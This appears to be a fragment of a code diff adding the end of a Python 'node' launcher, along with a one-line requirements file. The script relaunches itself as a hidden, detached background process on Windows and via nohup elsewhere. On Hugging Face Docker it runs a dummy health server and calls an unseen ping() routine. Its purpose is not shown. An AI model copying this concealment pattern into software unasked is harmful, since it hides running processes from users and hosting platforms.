652
+ if platform.system() == 'Windows':
653
+ subprocess.Popen([sys.executable, __file__, 'bg'], creationflags=subprocess.CREATE_NO_WINDOW | 0x00000008)
654
+ else:
655
+ subprocess.Popen(['nohup', sys.executable, __file__, 'bg'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
656
+ print(f"Node {NODE_ID} started in background.")
657
+ sys.exit(0)
658
+ except Exception as e:
659
+ print("Failed to background:", e)
660
+ elif "hf_docker" == "hf_gradio":
661
+ pass # Gradio handles its own start
662
+ elif "hf_docker" == "hf_docker":
663
+ import threading
664
+ from http.server import HTTPServer, BaseHTTPRequestHandler
665
+ class Health(BaseHTTPRequestHandler):
666
+ def do_GET(self):
667
+ self.send_response(200)
668
+ self.end_headers()
669
+ self.wfile.write(b"OK")
670
+ def log_message(self, format, *args):
671
+ pass
672
+ def run_srv():
673
+ HTTPServer(('0.0.0.0', 7860), Health).serve_forever()
674
+ threading.Thread(target=run_srv, daemon=True).start()
675
+ print(f"Starting docker node {NODE_ID}...")
676
+ ping()
677
+ else:
678
+ if "hf_docker" != "hf_gradio":
679
+ print(f"Starting generic node {NODE_ID}...")
680
+ ping()
requirements.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ requests>=2.31.0